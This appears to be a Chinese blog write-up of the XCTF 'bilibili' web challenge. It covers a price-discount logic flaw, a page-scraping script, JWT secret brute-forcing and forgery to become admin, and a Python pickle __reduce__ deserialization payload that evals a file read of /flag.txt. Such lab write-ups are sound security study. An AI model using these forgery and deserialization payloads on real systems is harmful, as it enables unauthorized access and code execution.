【xctf之bilibili】

在这里插入图片描述
在这里插入图片描述

不慌,先扫描下网站目录。
在这里插入图片描述
发现存在注册登录界面,先注册个账号,登陆进去。
在这里插入图片描述
打开网站后就是这,题目上提示说存在逻辑漏洞。想到应该是购买礼物时存在逻辑漏洞。
在这里插入图片描述
在这里插入图片描述
修改折扣值,可以成功购买。
在主页上发现让我们买到lv6
在这里插入图片描述
在这里插入图片描述
找了很多页,没有找到lv6。
在这里插入图片描述
在这里插入图片描述
使用脚本,进行页面搜索。

import requests
import re

def sendPackets(page):
    url = 'http://61.147.171.105:62782/shop?page='+page
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        'DNT': '1',
        "Connection": "close",
        'Cookie': '_xsrf=2|4bf311d7|8eb30099ee717c16056b8413979c345e|1666189378; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWlucyJ9.w_sZzGDOql6h0inLCDl8a4owxcxZAoekX61rE5s3M2E; commodity_id="2|1:0|10:1666190319|12:commodity_id|4:MTc=|cc1b949c9f32b22aea0adc7d8523f74c5b3481adf9115942f0c130cf07b3d284"',
        "Upgrade-Insecure-Requests": "1"
    }
    content = requests.get(url=url, headers=headers).content
    parm = re.compile(r'src="/static/img/lv/lv6.png"')
    result = re.findall(parm, str(content))
    if result!=[]:
        print(page)
        print(result)

if __name__ == '__main__':
    for i in range(1000):
        sendPackets(str(i))

在这里插入图片描述
在181页成功找到。
在这里插入图片描述
在这里插入图片描述
修改折扣值。
在这里插入图片描述
提示需要admin才可以访问。
在这里插入图片描述
此处我们可以发现使用的jwt验证。那么下一步使用jwt伪造。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
失败。那么下一步只能使用jwt爆破。
有一说一,我字典不行,我使用crunch生成的字典不行,使用cewl爬取的字典也不行。没找到key。看了writeup后知道key是1Kun
在这里插入图片描述
下一步修改jwt值就行了.
在这里插入图片描述
在这里插入图片描述
修改cookie中的jwt值以及折扣值。
在这里插入图片描述
此处在源码中发现提示,是一个源码压缩包。
在这里插入图片描述
在这里插入图片描述
此处发现存在反序列化。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
使用reduce方法,进行反序列化。
在这里插入图片描述
借鉴上述反序列化payload,上述代码中存在base64转码,我们这道题不需要转码。

import pickle
import requests
import urllib
import os

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

上述代码是官方writeup。

在这里插入图片描述
在这里插入图片描述

总结:这个题亮点在于python反序列化,其它的感觉一般,不过就是key的爆破很关键,如果将key值放在网站上,可以使用crewl进行爬取就更好了,当然官方的writeup上使用的是 c-jwt-cracker,但这个工具是c写的,需要自己进行编译下。这个工具可以直接爆破出key。但我觉得比较麻烦,就没用这个。这道题感觉有两个关键点,一就是key的获取(字典),二就是python的反序列化(python的反序列化没怎么接触过,感觉很不错)。

参考链接:

jwt网站:https://jwt.io/
python __reduce__魔法方法_Python魔法方法指南:https://blog.csdn.net/weixin_39793794/article/details/110324297
python反序列化攻击:https://www.secpulse.com/archives/127664.html
使用Python的urllib.quote进行解码编码:https://blog.csdn.net/weixin_44870139/article/details/113529972
crakjwt脚本工具:https://github.com/Sjord/jwtcrack

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值